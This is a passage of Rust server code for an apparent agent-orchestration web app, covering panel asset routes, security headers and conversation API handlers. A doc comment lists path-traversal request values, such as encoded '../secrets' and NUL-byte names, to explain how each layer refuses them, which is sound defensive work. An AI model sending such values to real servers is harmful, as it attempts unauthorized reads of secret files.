8141                    None
8142                };
8143                Ok((q, tasks, talks, watches, talk, cfg))
8144            }
8145        })
8146        .await?;
8147        let _publication = crate::consult::publication_guard(&ui.talks, &talk.id)
8148            .await
8149            .map_err(ApiError::from)?;
8150        let (view, reclaimed, submitted) = blocking({
8151            let ui = Arc::clone(&ui);
8152            move || {
8153                let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
8154                let claim = if fresh {
8155                    match ui.begin_queued_talk_turn(&talk.id)? {
8156                        Some(turn_guard) => {
8157                            let talk = ui.talks.get(&talk.id)?;
8158                            let cfg = match cfg {
8159                                Some(cfg) => cfg,
8160                                None => Config::discover(&talk.repo, None)?.0,
8161                            };
8162                            Some((talk, cfg, turn_guard))
8163                        }
8164                        None => None,
8165                    }
8166                } else {
8167                    None
8168                };
8169                let q = ui.questions.get(&q.id)?;
8170                let cfg = deputy_config(&ui.repo);
8171                let view = QuestionView::of(q, &ui.questions, cfg.as_ref())
8172                    .with_origin(&tasks, &talks, &watches);
8173                Ok((view, claim, fresh.then_some(talk.id)))
8174            }
8175        })
8176        .await?;
8177        #[cfg(not(test))]
8178        {
8179            if let Some(id) = submitted {
8180                crate::consult::spawn_turn(&ui.talks, &id)
8181                    .await
8182                    .map_err(ApiError::from)?;
8183            }
8184            drop(reclaimed);
8185        }
8186        #[cfg(test)]
8187        let _ = submitted;
8188        #[cfg(test)]
8189        if let Some((talk, cfg, turn_guard)) = reclaimed {
8190            let talks = ui.talks.clone();
8191            let id = talk.id.clone();
8192            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
8193        }
8194        Ok((StatusCode::ACCEPTED, Json(view)))
8195    })
8196    .await
8197}
8198
8199/// Expand an id or short id to exactly one question id.
8200fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
8201    if plain_record_id(id) && store.path_of(id).is_file() {
8202        return Ok(id.to_owned());
8203    }
8204    pick(
8205        store.list().into_iter().map(|q| q.id).collect(),
8206        id,
8207        "question",
8208    )
8209}
8210
8211/// `GET /api/questions/{id}/panel`.
8212///
8213/// The panel an agent wrote for this question, as `text/html` under
8214/// [`PANEL_CSP`], for the front end to mount in a sandboxed iframe.
8215/// A question without one is a 404 rather than an empty page: the client
8216/// preflights this route with `HEAD` and must be able to tell "no panel" from
8217/// "a panel that rendered blank", and a sandboxed frame is opaque to the
8218/// parent document so it cannot tell the difference by looking.
8219///
8220/// The body is whatever the agent wrote, byte for byte. Nothing here rewrites,
8221/// sanitises or minifies it - a sanitiser is a list of things someone thought
8222/// of, and the sandbox plus the CSP is a list of things that are allowed, which
8223/// is the direction that stays safe when an agent writes markup nobody
8224/// predicted.
8225async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
8226    blocking(move || {
8227        let id = resolve_question(&ui.questions, &id)?;
8228        let Some(html) = ui.questions.panel_html(&id) else {
8229            return Err(ApiError::not_found(format!("question {id} has no panel")));
8230        };
8231        Ok(panel_response(
8232            "text/html; charset=utf-8",
8233            false,
8234            html.into_bytes(),
8235        ))
8236    })
8237    .await
8238}
8239
8240/// `GET /api/questions/{id}/asset/{name}`.
8241///
8242/// One file from the question's own panel directory, so a panel can show a
8243/// diff as an SVG or a screenshot as a PNG without the CSP's `img-src 'self'`
8244/// having to allow anything off this machine.
8245///
8246/// This is the only route in the server where a client names a file, so it is
8247/// the only one with a traversal surface, and the name is checked by
8248/// [`ask::valid_asset_name`] before a path is built from it. Which layer stops
8249/// what is worth being explicit about, because the answer is not "all of it in
8250/// one place":
8251///
8252/// * `asset/../../secrets` never reaches this handler at all. axum matches on
8253///   the raw request path and `{name}` spans exactly one segment, so a real
8254///   slash makes the request too long for the route and the router answers 404.
8255/// * `asset/%2e%2e%2fsecrets` and `asset/..%5csecrets` do reach it: axum
8256///   percent-decodes path parameters, so `name` arrives as `../secrets` and
8257///   `..\secrets` respectively, which look like plain filenames to the router.
8258///   The validator refuses them here - both for the literal `..` and because
8259///   `/` and `\` are not in the permitted character set - and answers 400.
8260/// * A name carrying a NUL (`%00`) decodes to a string Rust is happy with but
8261///   the platform's path API is not, and it is refused here for the same
8262///   reason: NUL is not a permitted character.
8263/// * [`Questions::panel_asset`] validates again on read, so the check is not
8264///   load-bearing in only one place. This route's own check exists so the
8265///   failure is a 400 that says which name was wrong, rather than a store error
8266///   the operator has to interpret.
8267async fn question_asset(
8268    State(ui): State<Arc<Ui>>,
8269    Path((id, name)): Path<(String, String)>,
8270) -> ApiResult<Response> {
8271    // Before any filesystem work and before any path is built: a name this
8272    // server will not serve should not become a `PathBuf` at all.
8273    if !crate::ask::valid_asset_name(&name) {
8274        return Err(ApiError::bad_request(format!(
8275            "`{name}` is not a usable asset name"
8276        )));
8277    }
8278    blocking(move || {
8279        let id = resolve_question(&ui.questions, &id)?;
8280        let asset = ui
8281            .questions
8282            .panel_asset(&id, &name)
8283            .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
8284        let Some(bytes) = asset else {
8285            return Err(ApiError::not_found(format!(
8286                "question {id} has no asset `{name}`"
8287            )));
8288        };
8289        Ok(panel_response(
8290            asset_content_type(&name),
8291            is_svg(&name),
8292            bytes,
8293        ))
8294    })
8295    .await
8296}
8297
8298/// Content type for a panel asset, from a closed whitelist.
8299///
8300/// A whitelist with an `application/octet-stream` fallback rather than a
8301/// guess, because the one answer that must never come out of here is
8302/// `text/html`. An agent that writes `notes.html` into its panel directory and
8303/// links it would otherwise get its own markup rendered at the top level of the
8304/// operator's browser - outside the sandboxed frame, outside [`PANEL_CSP`], on
8305/// magi's origin - which is precisely the thing the panel design exists to
8306/// prevent. Same reasoning for `.js` and `.json`: unlisted means downloaded.
8307///
8308/// `nosniff` accompanies this on every response, so a browser cannot decide it
8309/// knows better than the type we sent.
8310fn asset_content_type(name: &str) -> &'static str {
8311    match extension(name).as_deref() {
8312        Some("png") => "image/png",
8313        Some("jpg" | "jpeg") => "image/jpeg",
8314        Some("gif") => "image/gif",
8315        Some("webp") => "image/webp",
8316        Some("svg") => "image/svg+xml",
8317        Some("css") => "text/css; charset=utf-8",
8318        Some("txt") => "text/plain; charset=utf-8",
8319        _ => "application/octet-stream",
8320    }
8321}
8322
8323/// Is this an SVG, and therefore a file that must never be opened at the top
8324/// level?
8325fn is_svg(name: &str) -> bool {
8326    extension(name).as_deref() == Some("svg")
8327}
8328
8329/// Lowercased extension, or `None` for a name without one.
8330fn extension(name: &str) -> Option<String> {
8331    name.rsplit_once('.')
8332        .map(|(_, ext)| ext.to_ascii_lowercase())
8333}
8334
8335/// Every panel response, with the four headers that make it safe and, for an
8336/// SVG, a fifth.
8337///
8338/// One function rather than a header list per handler, because a panel route
8339/// that forgets [`PANEL_CSP`] is not a cosmetic bug: it is the whole security
8340/// model gone, silently, on one of two routes. Adding a third panel route later
8341/// means calling this, and there is nowhere else to build a panel response.
8342///
8343/// `download` is set for SVG only. An SVG is XML that may carry `<script>`, and
8344/// as an `<img src>` inside the panel that script cannot run - but the asset
8345/// URL is also a plain URL an operator can be talked into opening in a tab,
8346/// where it is a document on magi's own origin. `Content-Disposition:
8347/// attachment` makes the browser download it instead of rendering it, which
8348/// closes that door without taking away the ability to draw a diff. Raster
8349/// images have no such execution surface and are left inline, so tapping a
8350/// screenshot still shows it.
8351fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
8352    let mut res = (
8353        [
8354            (header::CONTENT_TYPE, content_type),
8355            (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
8356            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8357            (header::REFERRER_POLICY, "no-referrer"),
8358        ],
8359        body,
8360    )
8361        .into_response();
8362    if download {
8363        res.headers_mut().insert(
8364            header::CONTENT_DISPOSITION,
8365            HeaderValue::from_static("attachment"),
8366        );
8367    }
8368    res
8369}
8370
8371/// A talk as the phone reads it.
8372///
8373/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
8374/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
8375/// parses markdown itself - and the process-local `thinking` hint.
8376#[derive(Debug, Serialize)]
8377struct ChatApproval {
8378    question: String,
8379    target: crate::merge_decision::Target,
8380}
8381
8382#[derive(Debug, Serialize)]
8383struct TalkView {
8384    #[serde(flatten)]
8385    talk: Talk,
8386    turn_bodies_md: Vec<Vec<md::Node>>,
8387    /// Display-only Markdown, indexed by turn then message (legacy turns have one).
8388    turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>>,
8389    pending_messages_md: Vec<Option<Vec<md::Node>>>,
8390    merge_approvals: Vec<ChatApproval>,
8391    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
8392    /// this server process.
8393    ///
8394    /// This is deliberately not durable: another server process cannot see
8395    /// it, and a restarted server must not claim an old turn is live. It is a
8396    /// progress hint rather than proof a reply landed; the transcript remains
8397    /// the source of truth for that.
8398    thinking: bool,
8399    /// Context-window usage, derived per request - see
8400    /// [`talk::context_usage`]. Carried on every talk response (list, detail
8401    /// and each mutation) so the phone needs no extra call or polling.
8402    context: talk::ContextUsage,
8403    /// `[talk] operator_name`, when configured; the Chat labels the
8404    /// operator's turns with it.
8405    operator_name: Option<String>,
8406    /// The active persona's display name; `None` for the default voice.
8407    persona_name: Option<String>,
8408    /// URL of the avatar for the conversation's persona (the default voice
8409    /// included). Server-built; a configured `icon` never reaches the client.
8410    persona_avatar: String,
8411    /// Operator avatar; display only and independent of repository config.
8412    operator_avatar: String,
8413    magi_avatar: String,
8414}
8415
8416impl TalkView {
8417    /// Reads the talk's repository config itself; a config that cannot be
8418    /// read leaves the window unknown but never fails the conversation.
8419    fn new(talk: Talk, thinking: bool, ui: &Ui) -> Self {
8420        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8421        Self::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references)
8422    }
8423
8424    /// As [`Self::new`], with the config already in hand (the list reads one
8425    /// per repository, not one per conversation).
8426    fn with_config(
8427        talk: Talk,
8428        thinking: bool,
8429        cfg: Option<&Config>,
8430        home: &FsPath,
8431        cache: &id_links::IndexCache,
8432    ) -> Self {
8433        let references = cache.for_talk(home, &talk);
8434        Self::with_references(talk, thinking, cfg, home, &references)
8435    }
8436
8437    fn with_references(
8438        mut talk: Talk,
8439        thinking: bool,
8440        cfg: Option<&Config>,
8441        home: &FsPath,
8442        references: &id_links::IdIndex,
8443    ) -> Self {
8444        // This owned value is the display DTO; never write it back to the talk store.
8445        let snapshot = talk.clone();
8446        for (index, turn) in talk.turns.iter_mut().enumerate() {
8447            let original = &snapshot.turns[index];
8448            if turn.messages.is_empty() {
8449                if let Some(display) = talk::notice_display(&snapshot, original, None) {
8450                    turn.messages.push(talk::Message {
8451                        sender: Some(talk::Sender::Magi),
8452                        body: original.body.clone(),
8453                        display: Some(display),
8454                        attachments: original.attachments.clone(),
8455                        reply: None,
8456                    });
8457                }
8458            } else {
8459                for (i, message) in turn.messages.iter_mut().enumerate() {
8460                    message.display =
8461                        talk::notice_display(&snapshot, original, original.messages.get(i));
8462                    if message.display.is_some() {
8463                        message.sender = Some(talk::Sender::Magi);
8464                    }
8465                }
8466            }
8467        }
8468        for message in &mut talk.pending_messages {
8469            if message.display.is_none()
8470                && (message.sender == Some(talk::Sender::Magi)
8471                    || snapshot
8472                        .completion_notices
8473                        .iter()
8474                        .any(|r| r.notice == message.body))
8475            {
8476                message.display = crate::prompt::legacy_notice_display(&message.body);
8477                if message.display.is_some() {
8478                    message.sender = Some(talk::Sender::Magi);
8479                }
8480            }
8481        }
8482        if talk.pending_messages.is_empty()
8483            && snapshot
8484                .completion_notices
8485                .iter()
8486                .any(|r| r.notice == talk.pending)
8487            && let Some(display) = crate::prompt::legacy_notice_display(&talk.pending)
8488        {
8489            talk.pending_messages.push(talk::Message {
8490                sender: Some(talk::Sender::Magi),
8491                display: Some(display),
8492                body: talk.pending.clone(),
8493                attachments: talk.pending_attachments.clone(),
8494                reply: None,
8495            });
8496        }
8497        let excerpts: Vec<Vec<Option<String>>> = talk
8498            .turns
8499            .iter()
8500            .map(|turn| {
8501                turn.messages
8502                    .iter()
8503                    .map(|m| {
8504                        m.display
8505                            .as_ref()
8506                            .map(|d| d.facts.chars().take(240).collect())
8507                    })
8508                    .collect()
8509            })
8510            .collect();
8511        for turn in &mut talk.turns {
8512            let provenance = talk::sender(turn, None);
8513            turn.sender = Some(provenance);
8514            for message in &mut turn.messages {
8515                message.sender = Some(message.sender.unwrap_or(provenance));
8516            }
8517        }
8518        // Old reply snapshots have only a role; recover provenance from their target.
8519        let senders: Vec<Vec<talk::Sender>> = talk
8520            .turns
8521            .iter()
8522            .map(|turn| {
8523                if turn.messages.is_empty() {
8524                    vec![talk::sender(turn, None)]
8525                } else {
8526                    turn.messages
8527                        .iter()
8528                        .map(|m| talk::sender(turn, Some(m)))
8529                        .collect()
8530                }
8531            })
8532            .collect();
8533        for reply in talk
8534            .turns
8535            .iter_mut()
8536            .flat_map(|t| t.messages.iter_mut())
8537            .chain(talk.pending_messages.iter_mut())
8538            .filter_map(|m| m.reply.as_mut())
8539        {
8540            if let Some(Some(excerpt)) = excerpts
8541                .get(reply.target.turn)
8542                .and_then(|ms| ms.get(reply.target.message))
8543            {
8544                reply.excerpt = excerpt.clone();
8545                reply.sender = Some(talk::Sender::Magi);
8546            }
8547            if reply.sender.is_none() {
8548                reply.sender = senders
8549                    .get(reply.target.turn)
8550                    .and_then(|messages| messages.get(reply.target.message))
8551                    .copied();
8552            }
8553        }
8554        let context = talk::context_usage(&talk, cfg);
8555        let mut turn_bodies_md: Vec<Vec<md::Node>> = talk
8556            .turns
8557            .iter()
8558            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
8559            .collect();
8560        let mut turn_messages_md: Vec<Vec<Option<Vec<md::Node>>>> = talk
8561            .turns
8562            .iter()
8563            .map(|turn| {
8564                if turn.messages.is_empty() {
8565                    vec![notice_markdown(talk::sender(turn, None), &turn.body, None)]
8566                } else {
8567                    turn.messages
8568                        .iter()
8569                        .map(|message| {
8570                            notice_markdown(
8571                                message.sender.unwrap_or(talk::Sender::Operator),
8572                                &message.body,
8573                                message.display.as_ref(),
8574                            )
8575                        })
8576                        .collect()
8577                }
8578            })
8579            .collect();
8580        let mut pending_messages_md: Vec<Option<Vec<md::Node>>> = talk
8581            .pending_messages
8582            .iter()
8583            .map(|message| {
8584                notice_markdown(
8585                    message.sender.unwrap_or(talk::Sender::Operator),
8586                    &message.body,
8587                    message.display.as_ref(),
8588                )
8589            })
8590            .collect();
8591        for nodes in &mut turn_bodies_md {
8592            references.markdown(nodes);
8593        }
8594        for nodes in turn_messages_md
8595            .iter_mut()
8596            .flatten()
8597            .chain(pending_messages_md.iter_mut())
8598            .flatten()
8599        {
8600            references.markdown(nodes);
8601        }
8602        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
8603        let persona_name = persona::find(specs, &talk.persona)
8604            .filter(|p| !p.is_default())
8605            .map(|p| p.name);
8606        let mut avatar_persona = persona::find(specs, &talk.persona)
8607            .unwrap_or_else(|| persona::find(specs, persona::DEFAULT_ID).expect("default"));
8608        // A removed configured persona may still have an override and old talks.
8609        if avatar_persona.id != talk.persona
8610            && read_icon_file(&avatar_setting_path(home, Some(&talk.persona))).is_some()
8611        {
8612            avatar_persona.id.clone_from(&talk.persona);
8613            avatar_persona.icon = None;
8614        }
8615        let persona_avatar = avatar_url(home, &talk.id, &avatar_persona);
8616        let approvals_store = ask::Questions::at(home.join("questions"));
8617        let merge_approvals = talk
8618            .notified
8619            .iter()
8620            .filter_map(|key| key.strip_prefix("question:"))
8621            .filter_map(|id| approvals_store.get(id).ok())
8622            .filter(|q| crate::task_chat::approval_offered(&talk, q))
8623            .filter_map(|q| {
8624                Some(ChatApproval {
8625                    question: q.id,
8626                    target: q.merge_target?,
8627                })
8628            })
8629            .collect();
8630        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
8631        Self {
8632            turn_bodies_md,
8633            turn_messages_md,
8634            pending_messages_md,
8635            merge_approvals,
8636            thinking,
8637            context,
8638            operator_name,
8639            persona_name,
8640            persona_avatar,
8641            magi_avatar: magi_icon_url(home),
8642            operator_avatar: operator_icon_url(home),
8643            talk,
8644        }
8645    }
8646}
8647
8648/// Parse only the user-facing representation of an explicitly identified MAGI send.
8649fn notice_markdown(
8650    sender: talk::Sender,
8651    body: &str,
8652    display: Option<&crate::prompt::NoticeDisplay>,
8653) -> Option<Vec<md::Node>> {
8654    if sender != talk::Sender::Magi {
8655        return None;
8656    }
8657    let text = if let Some(display) = display {
8658        display.facts.as_str()
8659    } else {
8660        // Unknown completion templates may contain internal directives. Never
8661        // promote their agent input to the Markdown display surface.
8662        if crate::prompt::is_completion_notice(body)
8663            || body.starts_with(&format!("# {}\n", crate::prompt::CHAT_CONSULT_HEADING))
8664        {
8665            return None;
8666        }
8667        body.strip_prefix("magi: ").unwrap_or(body)
8668    };
8669    Some(md::to_nodes(text, &md::ImageBase::None))
8670}
8671
8672/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
8673/// conversation has filed, so the phone can follow one from inside the
8674/// conversation that asked for it rather than hunting the Queue for a task id
8675/// it may not remember.
8676#[derive(Debug, Serialize)]
8677struct TalkDetailView {
8678    #[serde(flatten)]
8679    view: TalkView,
8680    tasks: Vec<TaskView>,
8681    task_progress: TalkTaskProgress,
8682    /// The agents this talk's repository can switch to; empty when its
8683    /// configuration cannot be read, which must not fail the whole detail.
8684    roster: Vec<RosterEntry>,
8685    /// The personas the conversation can pick from. The built-ins are always
8686    /// listed, even when the repository's configuration cannot be read.
8687    personas: Vec<PersonaEntry>,
8688}
8689
8690/// Progress covers only the tasks returned alongside it, not unresolved chat topics.
8691#[derive(Debug, Serialize)]
8692struct TalkTaskProgress {
8693    state: &'static str,
8694    total: usize,
8695    done: usize,
8696    counts: std::collections::BTreeMap<&'static str, usize>,
8697    unfinished_ids: Vec<String>,
8698}
8699
8700fn talk_task_progress(tasks: &[Task]) -> TalkTaskProgress {
8701    let mut counts = std::collections::BTreeMap::from([
8702        ("queued", 0),
8703        ("running", 0),
8704        ("done", 0),
8705        ("failed", 0),
8706        ("held", 0),
8707        ("blocked", 0),
8708        ("parked", 0),
8709    ]);
8710    let mut unfinished_ids = Vec::new();
8711    for task in tasks {
8712        *counts.entry(task.status.as_str()).or_default() += 1;
8713        if task.status != TaskStatus::Done {
8714            unfinished_ids.push(task.id.clone());
8715        }
8716    }
8717    TalkTaskProgress {
8718        state: if tasks.is_empty() {
8719            "none"
8720        } else if unfinished_ids.is_empty() {
8721            "complete"
8722        } else {
8723            "incomplete"
8724        },
8725        total: tasks.len(),
8726        done: tasks.len() - unfinished_ids.len(),
8727        counts,
8728        unfinished_ids,
8729    }
8730}
8731
8732/// One persona as the talk's persona selector shows it.
8733#[derive(Debug, Serialize)]
8734struct PersonaEntry {
8735    id: String,
8736    name: String,
8737    /// Avatar URL, see [`TalkView::persona_avatar`].
8738    avatar: String,
8739}
8740
8741/// One roster agent as the talk's agent selector shows it.
8742#[derive(Debug, Serialize)]
8743struct RosterEntry {
8744    id: String,
8745    kind: AgentKind,
8746    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
8747    runnable: bool,
8748}
8749
8750/// Bounded summaries; `/page` carries a cursor for older membership.
8751async fn talks_list(
8752    State(ui): State<Arc<Ui>>,
8753    Query(q): Query<ListQuery>,
8754    headers: header::HeaderMap,
8755) -> ApiResult<Json<Vec<TalkListView>>> {
8756    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8757        let limit = q.limit.unwrap_or(50).min(50);
8758        let ids = if let Some(ids) = q.ids {
8759            ids.split(',')
8760                .filter(|id| plain_record_id(id))
8761                .take(limit)
8762                .map(str::to_owned)
8763                .collect()
8764        } else {
8765            page_ids(&ui, true, PageQuery::default())?
8766                .0
8767                .into_iter()
8768                .take(limit)
8769                .collect()
8770        };
8771        Ok(Json(talk_rows(&ui, ids, &headers)))
8772    })
8773    .await
8774}
8775
8776/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
8777/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
8778/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
8779/// end still opens a talk against an older binary.
8780#[derive(Debug, Default, Deserialize)]
8781#[serde(default)]
8782struct NewTalk {
8783    agent: Option<String>,
8784    repo: Option<PathBuf>,
8785    /// Remembered choices from the browser. Soft: kept as raw JSON so a
8786    /// wrong type is dropped like a stale value instead of failing the request;
8787    /// each falls back to its default on its own (see [`talk::begin_with`]).
8788    preferred_agent: Option<serde_json::Value>,
8789    persona: Option<serde_json::Value>,
8790    implementers: Option<serde_json::Value>,
8791}
8792
8793/// `POST /api/talks` - open a conversation. Takes no agent turn: see
8794/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
8795async fn talk_post(
8796    State(ui): State<Arc<Ui>>,
8797    body: std::result::Result<Json<NewTalk>, JsonRejection>,
8798) -> ApiResult<impl IntoResponse> {
8799    // An absent body, or an empty one, is the normal way to open a talk - see
8800    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
8801    // rather than refused.
8802    let body = match body {
8803        Ok(Json(body)) => body,
8804        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
8805        Err(e) => return Err(ApiError::bad_request(e.body_text())),
8806    };
8807    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
8808    let cfg = config_for(&repo).await?;
8809    let view = blocking(move || {
8810        let preferred = talk::Preferred {
8811            agent: body
8812                .preferred_agent
8813                .as_ref()
8814                .and_then(|v| v.as_str())
8815                .map(str::to_owned),
8816            persona: body
8817                .persona
8818                .as_ref()
8819                .and_then(|v| v.as_str())
8820                .map(str::to_owned),
8821            implementers: body.implementers.as_ref().and_then(|v| v.as_i64()),
8822        };
8823        let talk = talk::begin_with(&ui.talks, &cfg, repo, body.agent.as_deref(), &preferred)?;
8824        let thinking = ui.is_thinking(&talk.id);
8825        Ok(TalkView::new(talk, thinking, &ui))
8826    })
8827    .await?;
8828    Ok((StatusCode::CREATED, Json(view)))
8829}
8830
8831/// Transcript first: unrelated queue history and repository probes are deferred.
8832async fn talk_core(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<TalkView>> {
8833    // Keep transcript reads independent of sections and the runtime blocking pool.
8834    bulk_blocking(ui.monitor.talk_core_slots.clone(), move || {
8835        let id = resolve_talk(&ui.talks, &id)?;
8836        let talk = ui.talks.get(&id)?;
8837        let thinking = ui.is_thinking_observed(&id);
8838        // The browser already resolves Markdown text/code references after
8839        // rendering. A cold reference/review index must not gate the transcript.
8840        Ok(Json(TalkView::with_references(
8841            talk,
8842            thinking,
8843            None,
8844            &ui.home,
8845            &id_links::IdIndex::default(),
8846        )))
8847    })
8848    .await
8849}
8850
8851async fn talk_sections(
8852    State(ui): State<Arc<Ui>>,
8853    Path(id): Path<String>,
8854) -> ApiResult<Json<serde_json::Value>> {
8855    bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
8856        let id = resolve_talk(&ui.talks, &id)?;
8857        let talk = ui.talks.get(&id)?;
8858        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8859        let task_progress = talk_task_progress(&tasks);
8860        let tasks: Vec<_> = tasks
8861            .into_iter()
8862            .map(|task| {
8863                serde_json::json!({
8864                    "id": task.id, "title": task.title, "status_str": task.status.as_str(),
8865                })
8866            })
8867            .collect();
8868        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8869        let roster: Vec<_> = cfg
8870            .as_ref()
8871            .map(|cfg| {
8872                cfg.agents
8873                    .iter()
8874                    .map(|a| RosterEntry {
8875                        id: a.id.clone(),
8876                        kind: a.kind,
8877                        runnable: agent::installed(a),
8878                    })
8879                    .collect()
8880            })
8881            .unwrap_or_default();
8882        let specs = cfg
8883            .as_ref()
8884            .map(|cfg| cfg.talk.personas.clone())
8885            .unwrap_or_default();
8886        let personas: Vec<_> = persona::catalog(&specs)
8887            .into_iter()
8888            .map(|p| PersonaEntry {
8889                avatar: avatar_url(&ui.home, &talk.id, &p),
8890                id: p.id,
8891                name: p.name,
8892            })
8893            .collect();
8894        let active_persona = persona::find(&specs, &talk.persona)
8895            .unwrap_or_else(|| persona::find(&specs, persona::DEFAULT_ID).expect("default"));
8896        let persona_name = (!active_persona.is_default()).then(|| active_persona.name.clone());
8897        let persona_avatar = avatar_url(&ui.home, &talk.id, &active_persona);
8898        Ok(Json(serde_json::json!({
8899            "tasks": tasks, "task_progress": task_progress,
8900            "roster": roster, "personas": personas,
8901            "context": talk::context_usage(&talk, cfg.as_ref()),
8902            "context_for": talk.updated_at,
8903            "operator_name": cfg.as_ref().and_then(|cfg| cfg.talk.operator_name()),
8904            "persona_name": persona_name,
8905            "persona_avatar": persona_avatar,
8906        })))
8907    })
8908    .await
8909}
8910
8911/// `GET /api/talks/{id}`.
8912async fn talk_detail(
8913    State(ui): State<Arc<Ui>>,
8914    Path(id): Path<String>,
8915) -> ApiResult<Json<TalkDetailView>> {
8916    blocking(move || {
8917        let id = resolve_talk(&ui.talks, &id)?;
8918        let talk = ui.talks.get(&id)?;
8919        let thinking = ui.is_thinking_observed(&talk.id);
8920        let tasks = ui.find_tasks_for_talk(&talk.id)?;
8921        let task_progress = talk_task_progress(&tasks);
8922        let tasks = tasks.into_iter().map(TaskView::from).collect();
8923        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
8924        let roster = cfg
8925            .as_ref()
8926            .map(|cfg| {
8927                cfg.agents
8928                    .iter()
8929                    .map(|a| RosterEntry {
8930                        id: a.id.clone(),
8931                        kind: a.kind,
8932                        runnable: agent::installed(a),
8933                    })
8934                    .collect()
8935            })
8936            .unwrap_or_default();
8937        let specs = cfg
8938            .as_ref()
8939            .map(|cfg| cfg.talk.personas.clone())
8940            .unwrap_or_default();
8941        let personas = persona::catalog(&specs)
8942            .into_iter()
8943            .map(|p| PersonaEntry {
8944                avatar: avatar_url(&ui.home, &talk.id, &p),
8945                id: p.id,
8946                name: p.name,
8947            })
8948            .collect();
8949        Ok(Json(TalkDetailView {
8950            view: TalkView::with_config(talk, thinking, cfg.as_ref(), &ui.home, &ui.references),
8951            tasks,
8952            task_progress,
8953            roster,
8954            personas,
8955        }))
8956    })
8957    .await
8958}
8959
8960/// The body of `POST /api/talks/{id}/say`.
8961///
8962/// `attachments` names ids `POST /api/talks/{id}/attachments` already
8963/// returned - never bytes of its own - so a turn with no images just omits
8964/// the field, which is what an older front end still does.
8965#[derive(Debug, Default, Deserialize)]
8966#[serde(default, deny_unknown_fields)]
8967struct NewTalkTurn {
8968    reply_to: Option<talk::ReplyTarget>,
8969    text: String,
8970    attachments: Vec<String>,
8971}
8972
8973#[derive(Debug, Deserialize)]
8974#[serde(deny_unknown_fields)]
8975struct EditTalkPending {
8976    #[serde(default)]
8977    message: Option<usize>,
8978    text: String,
8979    expected_text: String,
8980    expected_attachments: Vec<String>,
8981}
8982
8983#[derive(Debug, Deserialize)]
8984#[serde(deny_unknown_fields)]
8985struct ClearTalkPending {
8986    expected_text: String,
8987    expected_attachments: Vec<String>,
8988}
8989
8990/// `POST /api/talks/{id}/say` - one turn of the conversation.
8991///
8992/// Not filesystem work, and therefore not routed through [`blocking`]: this
8993/// route spawns an agent CLI and a turn here can run for the whole of
8994/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
8995/// research turn is expected to run commands rather than answer from what it
8996/// already knows. Holding an HTTP connection open that long is not a thing
8997/// to ask a phone to do; the operator's message is recorded and answered for
8998/// immediately, and the reply lands in the background, discovered through
8999/// the change stream's `talks_rev` the same way every other update on this
9000/// surface is.
9001async fn talk_say(
9002    State(ui): State<Arc<Ui>>,
9003    Path(id): Path<String>,
9004    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
9005) -> ApiResult<(StatusCode, Json<TalkView>)> {
9006    let admission = ui.begin_admission()?;
9007    admitted(admission, async move {
9008    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
9009    if body.text.trim().is_empty() && body.attachments.is_empty() {
9010        return Err(ApiError::bad_request("say something"));
9011    }
9012
9013    let id = {
9014        let ui = Arc::clone(&ui);
9015        let asked = id.clone();
9016        blocking(move || resolve_talk(&ui.talks, &asked)).await?
9017    };
9018    // A closed Talk never accepts a new immediate or queued turn. Check this
9019    // before claiming a slot so its ordinary domain refusal is a 409, not an
9020    // incidental failure from the later record/queue write.
9021    {
9022        let ui = Arc::clone(&ui);
9023        let id = id.clone();
9024        blocking(move || {
9025            let talk = ui.talks.get(&id)?;
9026            if !talk.status.open() {
9027                return Err(ApiError::conflict(format!(
9028                    "talk {} is {} and takes no more turns",
9029                    talk.short(),
9030                    talk.status.as_str()
9031                )));
9032            }
9033            Ok(())
9034        })
9035        .await?;
9036    }
9037
9038    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
9039    // actually stores, before anything is written - an unknown id is a 4xx
9040    // that names it rather than a turn (or a queued draft) silently missing
9041    // an image.
9042    let attachments = {
9043        let ui = Arc::clone(&ui);
9044        let id = id.clone();
9045        let ids = body.attachments.clone();
9046        blocking(move || {
9047            ids.into_iter()
9048                .map(|att_id| {
9049                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
9050                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
9051                    })
9052                })
9053                .collect::<ApiResult<Vec<talk::Attachment>>>()
9054        })
9055        .await?
9056    };
9057    let _publication = crate::consult::publication_guard(&ui.talks, &id)
9058        .await.map_err(ApiError::from)?;
9059
9060    // Pending recovery and a new immediate turn are decided under the same
